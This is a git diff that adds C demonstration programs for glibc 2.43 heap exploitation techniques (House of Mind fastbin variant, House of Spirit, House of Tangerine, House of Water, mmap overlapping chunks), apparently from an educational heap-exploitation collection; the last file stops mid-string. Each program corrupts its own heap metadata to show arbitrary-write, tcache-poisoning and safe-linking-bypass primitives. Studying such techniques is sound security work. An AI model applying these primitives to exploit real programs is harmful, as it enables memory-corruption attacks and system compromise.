00000000..a8707a3c --- /dev/null +++ b/glibc_2.43/house_of_mind_fastbin.c @@ -0,0 +1,235 @@ +#include +#include +#include +#include +#include +#include + +/* + +House of Mind - Fastbin Variant +========================== + +This attack is similar to the original 'House of Mind' in that it uses +a fake non-main arena in order to write to a new location. This +uses the fastbin for a WRITE-WHERE primitive in the 'fastbin' +variant of the original attack though. The original write for this +can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. + +By being able to allocate an arbitrary amount of chunks, a single byte +overwrite on a chunk size and a memory leak, we can control a super +powerful primitive. + +This could be used in order to write a freed pointer to an arbitrary +location (which seems more useful). Or, this could be used as a +write-large-value-WHERE primitive (similar to unsortedbin attack). + Both are interesting in their own right though but the first +option is the most powerful primitive, given the right setting. + +Malloc chunks have a specified size and this size information +special metadata properties (prev_inuse, mmap chunk and non-main arena). +The usage of non-main arenas is the focus of this exploit. For more information +on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. + +First, we need to understand HOW the non-main arena is known from a chunk. + +This the 'heap_info' struct: + +struct _heap_info +{ + mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer + struct _heap_info *prev; // Previous heap. + size_t size; // Current size in bytes. + size_t mprotect_size; // Size in bytes that has been mprotected + char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment +} heap_info; +- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48 + +The important thing to note is that the 'malloc_state' within +an arena is grabbed from the ar_ptr, which is the FIRST entry +of this. Malloc_state == mstate == arena + +The main arena has a special pointer. However, non-main arenas (mstate) +are at the beginning of a heap section. They are grabbed with the +following code below, where the user controls the 'ptr' in 'arena_for_chunk': + +#define heap_for_ptr(ptr) \ + ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) +#define arena_for_chunk(ptr) \ + (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) +- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127 + +This macro takes the 'ptr' and subtracts a large value because the +'heap_info' should be at the beginning of this heap section. Then, +using this, it can find the 'arena' to use. + +The idea behind the attack is to use a fake arena to write pointers +to locations where they should not go but abusing the 'arena_for_chunk' +functionality when freeing a fastbin chunk. + +This POC does the following things: +- Finds a valid arena location for a non-main arena. +- Allocates enough heap chunks to get to the non-main arena location where + we can control the values of the arena data. +- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later. +- Using this fake arena (ar_ptr), we can use the fastbin to write + to an unexpected location of the 'ar_ptr' with a heap pointer. + +Requirements: +- A heap leak in order to know where the fake 'heap_info' is located at. + - Could be possible to avoid with special spraying techniques +- An unlimited amount of allocations +- A single byte overflow on the size of a chunk + - NEEDS to be possible to put into the fastbin. + - So, either NO tcache or the tcache needs to be filled. +- The location of the malloc state(ar_ptr) needs to have a value larger + than the fastbin size being freed at malloc_state.system_mem otherwise + the chunk will be assumed to be invalid. + - This can be manually inserted or CAREFULLY done by lining up + values in a proper way. +- The NEXT chunk, from the one that is being freed, must be a valid size +(again, greater than 0x20 and less than malloc_state.system_mem) + + +Random perks: +- Can be done MULTIPLE times at the location, with different sized fastbin + chunks. +- Does not brick malloc, unlike the unsorted bin attack. +- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. + + + +************************************ +Written up by Maxwell Dulin (Strikeout) +************************************ +*/ + +int main(){ + + printf("House of Mind - Fastbin Variant\n"); + puts("=================================="); + printf("The goal of this technique is to create a fake arena\n"); + printf("at an offset of HEAP_MAX_SIZE\n"); + + printf("Then, we write to the fastbins when the chunk is freed\n"); + printf("This creates a somewhat constrained WRITE-WHERE primitive\n"); + // Values for the allocation information. + int HEAP_MAX_SIZE = 0x4000000; + int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635 + + printf("Find initial location of the heap\n"); + // The target location of our attack and the fake arena to use + uint8_t* fake_arena = malloc(0x1000); + uint8_t* target_loc = fake_arena + 0x30; + + uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10; + + /* + Prepare a valid 'malloc_state' (arena) 'system_mem' + to store a fastbin. This is important because the size + of a chunk is validated for being too small or too large + via the 'system_mem' of the 'malloc_state'. This just needs + to be a value larger than our fastbin chunk. + */ + printf("Set 'system_mem' (offset 0x888) for fake arena\n"); + fake_arena[0x888] = 0xFF; + fake_arena[0x889] = 0xFF; + fake_arena[0x88a] = 0xFF; + + printf("Target Memory Address for overwrite: %p\n", target_loc); + printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE); + + // Calculate the location of our fake arena + uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1); + uint64_t* fake_heap_info = (uint64_t*) new_arena_value; + + uint64_t* user_mem = malloc(MAX_SIZE); + printf("Fake Heap Info struct location: %p\n", fake_heap_info); + printf("Allocate until we reach a MAX_HEAP_SIZE offset\n"); + + /* + The fake arena must be at a particular offset on the heap. + So, we allocate a bunch of chunks until our next chunk + will be in the arena. This value was calculated above. + */ + while((long long)user_mem < new_arena_value){ + user_mem = malloc(MAX_SIZE); + } + + // Use this later to trigger craziness + printf("Create fastbin sized chunk to be victim of attack\n"); + uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60 + uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem + printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk); + + printf("Fill up the TCache so that the fastbin will be used\n"); + // Fill the tcache to make the fastbin to be used later. + uint64_t* tcache_chunks[7]; + for(int i = 0; i < 7; i++){ + tcache_chunks[i] = malloc(0x50); + } + for(int i = 0; i < 7; i++){ + free(tcache_chunks[i]); + } + + + /* + Create a FAKE malloc_state pointer for the heap_state + This is the 'ar_ptr' of the 'heap_info' struct shown above. + This is the first entry in the 'heap_info' struct at offset 0x0 + at the heap. + + We set this to the location where we want to write a value to. + The location that gets written to depends on the fastbin chunk + size being freed. This will be between an offset of 0x8 and 0x40 + bytes. For instance, a chunk with a size of 0x20 would be in the + 0th index of fastbinsY struct. When this is written to, we will + write to an offset of 8 from the original value written. + - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686 + */ + printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena); + fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena) + printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc)); + + /* + Set the non-main arena bit on the size. + Additionally, we keep the size the same as the original + allocation because there is a sanity check on the fastbin (when freeing) + that the next chunk has a valid size. + + When grabbing the non-main arena, it will use our choosen arena! + From there, it will write to the fastbin because of the size of the + chunk. + + ///// Vulnerability! Overwriting the chunk size + */ + printf("Set non-main arena bit on the fastbin chunk\n"); + puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"); + chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit + + //// End vulnerability + + /* + The offset being written to with the fastbin chunk address + depends on the fastbin BEING used and the malloc_state itself. + In 2.31, the offset from the beginning of the malloc_state + to the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an + additional byte offset of 0x20. In total, the writing offset + from the arena location is 0x30 bytes. + from the arena location to where the write actually occurs. + This is a similar concept to bk - 0x10 from the unsorted + bin attack. + */ + + printf("When we free the fastbin chunk with the non-main arena bit\n"); + printf("set, it will cause our fake 'heap_info' struct to be used.\n"); + printf("This will dereference our fake arena location and write\n"); + printf("the address of the heap to an offset of the arena pointer.\n"); + + printf("Trigger the magic by freeing the chunk!\n"); + free(fastbin_chunk); // Trigger the madness + + // For this particular fastbin chunk size, the offset is 0x28. + printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc))); + assert(*((unsigned long *) (target_loc)) != 0); +} diff --git a/glibc_2.43/house_of_spirit.c b/glibc_2.43/house_of_spirit.c new file mode 100644 index 00000000..220ecf76 --- /dev/null +++ b/glibc_2.43/house_of_spirit.c @@ -0,0 +1,52 @@ +#include +#include +#include + +int main() +{ + setbuf(stdout, NULL); + + puts("This file demonstrates the house of spirit attack."); + puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); + puts("Required primitives: known target address, ability to set up the start/end of the target memory"); + + puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); + void *chunks[7]; + for(int i=0; i<7; i++) { + chunks[i] = malloc(0x30); + } + for(int i=0; i<7; i++) { + free(chunks[i]); + } + + puts("\nStep 2: Prepare the fake chunk"); + // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) + long fake_chunks[10] __attribute__ ((aligned (0x10))); + printf("The target fake chunk is at %p\n", fake_chunks); + printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); + printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); + puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); + printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); + fake_chunks[1] = 0x40; // this is the size + + printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); + printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); + fake_chunks[9] = 0x1234; // nextsize + + puts("\nStep 3: Free the first fake chunk"); + puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); + void *victim = &fake_chunks[2]; + free(victim); + + puts("\nStep 4: Take out the fake chunk"); + puts("First we have to empty the tcache."); + for(int i=0; i<7; i++) { + malloc(0x30); + } + + printf("Now the next calloc (or malloc) will return our fake chunk at %p!\n", &fake_chunks[2]); + void *allocated = calloc(1, 0x30); + printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); + + assert(allocated == victim); +} diff --git a/glibc_2.43/house_of_tangerine.c b/glibc_2.43/house_of_tangerine.c new file mode 100644 index 00000000..09ab47f6 --- /dev/null +++ b/glibc_2.43/house_of_tangerine.c @@ -0,0 +1,168 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include + +#define SIZE_SZ sizeof(size_t) + +#define CHUNK_HDR_SZ (SIZE_SZ*2) +// same for x86_64 and x86 +#define MALLOC_ALIGN 0x10L +#define MALLOC_MASK (-MALLOC_ALIGN) + +#define PAGESIZE sysconf(_SC_PAGESIZE) +#define PAGE_MASK (PAGESIZE-1) + +// fencepost are offsets removed from the top before freeing +#define FENCEPOST (2*CHUNK_HDR_SZ) + +#define PROBE (0x20-CHUNK_HDR_SZ) + +// size used for poisoned tcache +#define CHUNK_SIZE_1 0x40 +#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ) + +// could also be split into multiple lower size allocations +#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1) +#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ) + +/** + * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64) + * + * House of Tangerine is the modernized version of House of Orange + * and is able to corrupt heap without needing to call free() directly + * + * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc + * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 + * + * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer + * by abusing the tcache freelist. (requires heap leak on and after 2.32) + * + * this version expects a positive and negative OOB (e.g. BOF) + * or a positive OOB in editing a previous chunk + * + * This version requires 5 (6*) malloc calls and 3 OOB + * + * *to make the PoC more reliable we need to malloc and probe the current top chunk size, + * this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead + * + * Special Thanks to pepsipu for creating the challenge "High Frequency Troubles" + * from Pico CTF 2024 that inspired this exploitation technique + */ +int main() { + size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr; + long win[2] __attribute__ ((aligned (0x10))); + // disable buffering + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // check if all chunks sizes are aligned + assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1); + assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3); + + puts("Constants:"); + printf("chunk header = 0x%lx\n", CHUNK_HDR_SZ); + printf("malloc align = 0x%lx\n", MALLOC_ALIGN); + printf("page align = 0x%lx\n", PAGESIZE); + printf("fencepost size = 0x%lx\n", FENCEPOST); + printf("size_1 = 0x%lx\n", SIZE_1); + + printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1); + + // target is malloc aligned 0x10 + // since this patch in glibc-2.42: https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/ + // the size of the target chunk must be set + target = (size_t) &win[0]; + win[1] = 0x41; + + // probe the current size of the top_chunk, + // can be skipped if it is already known or predictable + heap_ptr = malloc(PROBE); + top_size = heap_ptr[(PROBE / SIZE_SZ) + 1]; + printf("first top size = 0x%lx\n", top_size); + + // calculate size_2 + + size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1; + size_2 &= PAGE_MASK; + size_2 &= MALLOC_MASK; + + + printf("size_2 = 0x%lx\n", size_2); + + // first allocation + heap_ptr = malloc(size_2); + + // use BOF or OOB to corrupt the top_chunk + top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)]; + + top_size = *top_size_ptr; + + printf("first top size = 0x%lx\n", top_size); + + // make sure corrupt top size is page aligned, generally 0x1000 + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599 + new_top_size = top_size & PAGE_MASK; + *top_size_ptr = new_top_size; + printf("new first top size = 0x%lx\n", new_top_size); + + // remove fencepost from top_chunk, to get size that will be freed + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895 + freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; + assert(freed_top_size == CHUNK_SIZE_1); + + /* + * malloc (larger than available_top_size), to free previous top_chunk using _int_free. + * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged + * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 + * we prevent the top_chunk from being merged by lowering its size + * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged + */ + + printf("size_3 = 0x%lx\n", SIZE_3); + heap_ptr = malloc(SIZE_3); + + top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1]; + printf("current top size = 0x%lx\n", top_size); + + // make sure corrupt top size is page aligned, generally 0x1000 + new_top_size = top_size & PAGE_MASK; + heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size; + printf("new top size = 0x%lx\n", new_top_size); + + // remove fencepost from top_chunk, to get size that will be freed + freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; + printf("freed top_chunk size = 0x%lx\n", freed_top_size); + + assert(freed_top_size == CHUNK_SIZE_1); + + // this will be our vuln_tcache for tcache poisoning + vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; + + printf("tcache next ptr: 0x%lx\n", vuln_tcache); + + // free the previous top_chunk + heap_ptr = malloc(SIZE_3); + + // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not + // as good as in tcachebin, let's force it to be in tcache by taking it out and free it + free(malloc(SIZE_1)); + + // corrupt next ptr into pointing to target + // use a heap leak to bypass safe linking (GLIBC >= 2.32) + heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); + + // allocate first tcache (corrupt next tcache bin) + heap_ptr = malloc(SIZE_1); + + // get arbitrary ptr for reads or writes + heap_ptr = malloc(SIZE_1); + + // proof that heap_ptr now points to the same string as target + assert((size_t) heap_ptr == target); + puts((char *) heap_ptr); +} diff --git a/glibc_2.43/house_of_water.c b/glibc_2.43/house_of_water.c new file mode 100644 index 00000000..30a818c4 --- /dev/null +++ b/glibc_2.43/house_of_water.c @@ -0,0 +1,333 @@ +#include +#include +#include + +/* + * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache + * metadata control primitive. + * + * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers. + * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin. + * An article explaining this newer variant and its differences from the original House of Water can be found at: + * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md + * + * The technique starts by allocating the 'relative chunk' immediately after tcache metadata, + * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location. + * + * Then it crafts fake tcache entries in the 0x310 & 0x320 bins using two other controlled chunks matching the 'relative chunk' size, + * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered. + * A large allocation sorts them into the same small bin linked list. + * + * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache. + * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache, + * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control. + * + * Technique / house by @udp_ctf - Water Paddler / Blue Water + * Small-bin variant modified by @4f3rg4n - CyberEGGs. + */ + + + +void dump_memory(void *addr, unsigned long count) { + for (unsigned int i = 0; i < count*16; i += 16) { + printf("0x%016lx\t\t0x%016lx 0x%016lx\n", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8)); + } +} + +int main(void) { + // Dummy variable + void *_ = NULL; + + // Prevent _IO_FILE from buffering in the heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 0 |"); + puts("\t=============================="); + puts("\n"); + + puts("Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\n"); + puts("Without the following heap fengshui, this technique will require 4-bit brutefoce\n\n"); + + // this allocation will force the allocation of `tcache_perthread_struct` at offset 0x4f0, which is good for us + puts("Do malloc(0x480) to force the misalignment of `tcache_perthread_struct`\n"); + malloc(0x4e0); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 1 |"); + puts("\t=============================="); + puts("\n"); + + // Step 1: Create the unsorted bins linked list, used for hijacking at a later time + + puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents"); + puts("chunk-consolidation and sets our target for the house of water attack."); + puts("\t- chunks:"); + + void *relative_chunk = malloc(0x88); + printf("\t\t* relative_chunk\t@ %p\n", relative_chunk); + _ = malloc(0x18); // Guard chunk + + puts("\t\t* /guard/"); + + void *small_start = malloc(0x88); + printf("\t\t* small_start\t@ %p\n", small_start); + _ = malloc(0x18); // Guard chunk + + puts("\t\t* /guard/"); + + void *small_end = malloc(0x88); + printf("\t\t* small_end\t@ %p\n", small_end); + _ = malloc(0x18); // Guard chunk + + puts("\t\t* /guard/"); + + puts(""); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 2 |"); + puts("\t=============================="); + puts("\n"); + + // Step 2: Fill up t-cache for 0x90 size class + + // This is just to make a pointer to the t-cache metadata for later. + void *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x490; + printf("metadata: %p\n", metadata); + + // Make allocations to free such that we can exhaust the 0x90 t-cache + puts("Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time"); + void *x[7]; + for (int i = 0; i < 7; i++) { + x[i] = malloc(0x88); + } + + puts(""); + + // Free t-cache entries + puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them."); + puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin"); + puts("instead of the t-cache or small-bins."); + for (int i = 0; i < 7; i++) { + free(x[i]); + } + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 3 |"); + puts("\t=============================="); + puts("\n"); + + // Step 3: Create a 0x310 and a 0x320 t-cache entry which overlaps small_start and small_end. + // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata! + + puts("Here comes the trickiest part!\n"); + + puts("We essentially want a pointer in the 0x310 t-cache metadata to act as a FWD\n"); + puts("pointer and a pointer in the 0x320 t-cache to act as a BCK pointer."); + puts("We want it such that it points to the chunk header of our small bin entries,\n"); + puts("and not at the chunk itself which is common for t-cache.\n"); + + puts("Using a technique like house of botcake or a stronger arb-free primitive, free a"); + puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end."); + puts(""); + + puts("It should look like the following:"); + puts(""); + + puts("small_start:"); + printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][0]\n", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8)); + dump_memory(small_start, 2); + puts(""); + + puts("small_end:"); + printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x310][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8)); + dump_memory(small_end, 2); + + puts("\n"); + puts("If you want to see a blind example using only double free, see the following chal: "); + puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki"); + puts(""); + puts("Note: See this if you want to see the same example but with the modified House of Water version: "); + puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md"); + puts("\n"); + + puts("For the sake of simplicity, let's just simulate an arbitrary free primitive."); + puts("\n"); + + + puts("--------------------"); + puts("| PART 1 |"); + puts("--------------------"); + puts("\n"); + + // Step 3 part 1: + puts("Write 0x321 above small_start to enable its free'ing into the 0x320 t-cache."); + printf("\t*%p-0x18 = 0x321\n", small_start); + *(long*)(small_start-0x18) = 0x321; + puts(""); + + puts("This creates a 0x321 entry just above small_start, which looks like the following:"); + dump_memory(small_start-0x20, 3); + puts(""); + + printf("Free the faked 0x321 chunk @ %p\n", small_start-0x10); + free(small_start-0x10); // Create a fake FWD + puts(""); + + puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to"); + puts("restore the original header of the small_start chunk by restoring the 0x91 header:"); + printf("\t*%p-0x8 = 0x91\n", small_start); + *(long*)(small_start-0x8) = 0x91; + puts(""); + + puts("Now, let's do the same for small_end except using a 0x311 faked chunk."); + puts(""); + + + puts("--------------------"); + puts("| PART 2 |"); + puts("--------------------"); + puts("\n"); + + // Step 3 part 2: + puts("Write 0x311 above small_end, such that it can be free'd into the 0x320 t-cache:"); + printf("\t*%p-0x18 = 0x311\n", small_end); + *(long*)(small_end-0x18) = 0x311; + puts(""); + + puts("This creates a 0x311 just above small_end, which looks like the following:"); + dump_memory(small_end-0x20, 3); + puts(""); + + printf("Free the faked 0x311 chunk @ %p\n", small_end-0x10); + free(small_end-0x10); // Create a fake BCK + puts(""); + + puts("restore the original header of the small_end chunk by restoring the 0x91 header:"); + printf("\t*%p-0x8 = 0x91\n", small_end); + *(long*)(small_end-0x8) = 0x91; + puts(""); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 4 |"); + puts("\t=============================="); + puts("\n"); + + // Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin, + // then allocate large chunk that will sort the unsorted bin into small bins. + + puts("Now, let's free the the chunks into the unsorted bin."); + + puts("\t> free(small_end);"); + free(small_end); + + puts("\t> free(relative_chunk);"); + free(relative_chunk); + + puts("\t> free(small_start);"); + free(small_start); + + puts("\n"); + + puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin."); + _ = malloc(0x700); + + puts(""); + + // Show the setup as is + + puts("At this point, our heap looks something like this:"); + + printf("\t- Small bin:\n"); + puts("\t\tsmall_start <--> relative_chunk <--> small_end"); + printf("\t\t%p <--> %p <--> %p\n", small_start-0x10, relative_chunk-0x10, small_end-0x10); + + printf("\t- 0x310 t-cache:\n"); + printf("\t\t* 0x%lx\n", *(long*)(metadata+0x310)); + printf("\t- 0x320 t-cache\n"); + printf("\t\t* 0x%lx\n", *(long*)(metadata+0x318)); + puts(""); + + puts("The fake chunk in the t-cache will look like the following:"); + dump_memory(metadata+0x370, 4); + puts(""); + + puts("We can now observe that the 0x320 t-cache points to small_start and 0x310 t-cache points to "); + puts("small_end, which is what we need to fake a small-bin entry and hijack relative_chunk."); + + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 5 |"); + puts("\t=============================="); + puts("\n"); + + // Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk + puts("Finally, all there is left to do is simply overwrite the LSB of small_start FWD-"); + puts("and BCK pointer for small_end to point to the faked t-cache metadata chunk."); + puts(""); + + // Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90; + // As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk. + + /* VULNERABILITY */ + printf("\t- small_start:\n"); + void *metadata_page = (void*)((long)metadata & ~0xfff); + printf("\t\t*%p = %p\n", small_start, metadata_page+0x700); + *(unsigned long *)small_start = (unsigned long)(metadata_page+0x700); + puts(""); + + printf("\t- small_end:\n"); + printf("\t\t*%p = %p\n", small_end, metadata_page+0x700); + *(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x700); + puts(""); + /* VULNERABILITY */ + + puts("At this point, the small bin will look like the following:"); + puts(""); + + puts("\t- small bin:"); + printf("\t\t small_start <--> metadata chunk <--> small_end\n"); + printf("\t\t %p\t %p %p\n", small_start, metadata+0x228, small_end); + + puts("\n"); + puts("\t=============================="); + puts("\t| STEP 6 |"); + puts("\t=============================="); + puts("\n"); + + // Step 6: allocate to win + puts("Now, simply just allocate our fake chunk which is placed inside the small bin"); + puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to"); + puts("service the allocation from the small bin."); + + for(int i = 7; i > 0; i--) + _ = malloc(0x88); + + // Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin + _ = malloc(0x88); + _ = malloc(0x88); + + + + + // Next allocation *could* be our faked chunk! + void *meta_chunk = malloc(0x88); + + printf("\t\tNew chunk\t @ %p\n", meta_chunk); + printf("\t\tt-cache metadata @ %p\n", metadata); + assert(meta_chunk == (metadata+0x280)); + + puts(""); +} diff --git a/glibc_2.43/mmap_overlapping_chunks.c b/glibc_2.43/mmap_overlapping_chunks.c new file mode 100644 index 00000000..6a2808b4 --- /dev/null +++ b/glibc_2.43/mmap_overlapping_chunks.c @@ -0,0 +1,144 @@ +#include +#include +#include +#include + +/* +Technique should work on all versions of GLibC +Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g` + +POC written by POC written by Maxwell Dulin (Strikeout) +*/ +int main() +{ + /* + A primer on Mmap chunks in GLibC + ================================== + In GLibC, there is a point where an allocation is so large that malloc + decides that we need a seperate section of memory for it, instead + of allocating it on the normal heap. This is determined by the mmap_threshold var. + Instead of the normal logic for getting a chunk, the system call *Mmap* is + used. This allocates a section of virtual memory and gives it back to the user. + + Similarly, the freeing process is going to be different. Instead + of a free chunk being given back to a bin or to the rest of the heap, + another syscall is used: *Munmap*. This takes in a pointer of a previously + allocated Mmap chunk and releases it back to the kernel. + + Mmap chunks have special bit set on the size metadata: the second bit. If this + bit is set, then the chunk was allocated as an Mmap chunk. + + Mmap chunks have a prev_size and a size. The *size* represents the current + size of the chunk. The *prev_size* of a chunk represents the left over space + from the size of the Mmap chunk (not the chunks directly belows size). + However, the fd and bk pointers are not used, as Mmap chunks do not go back + into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of + the chunk must be page-aligned. + + The POC below is essentially an overlapping chunk attack but on mmap chunks. + This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. + The main difference is that mmapped chunks have special properties and are + handled in different ways, creating different attack scenarios than normal + overlapping chunk attacks. There are other things that can be done, + such as munmapping system libraries, the heap itself and other things. + This is meant to be a simple proof of concept to demonstrate the general + way to perform an attack on an mmap chunk. + + For more information on mmap chunks in GLibC, read this post: + http://tukan.farm/2016/07/27/munmap-madness/ + */ + + int* ptr1 = malloc(0x10); + + printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); + printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); + printf("of memory, instead of being put onto the normal heap.\n"); + puts("=======================================================\n"); + printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); + + long long* top_ptr = malloc(0x100000); + printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr); + + // After this, all chunks are allocated downwards in memory towards the heap. + long long* mmap_chunk_2 = malloc(0x100000); + printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2); + + long long* mmap_chunk_3 = malloc(0x100000); + printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3); + + printf("\nCurrent System Memory Layout \n" \ +"================================================\n" \ +"running program\n" \ 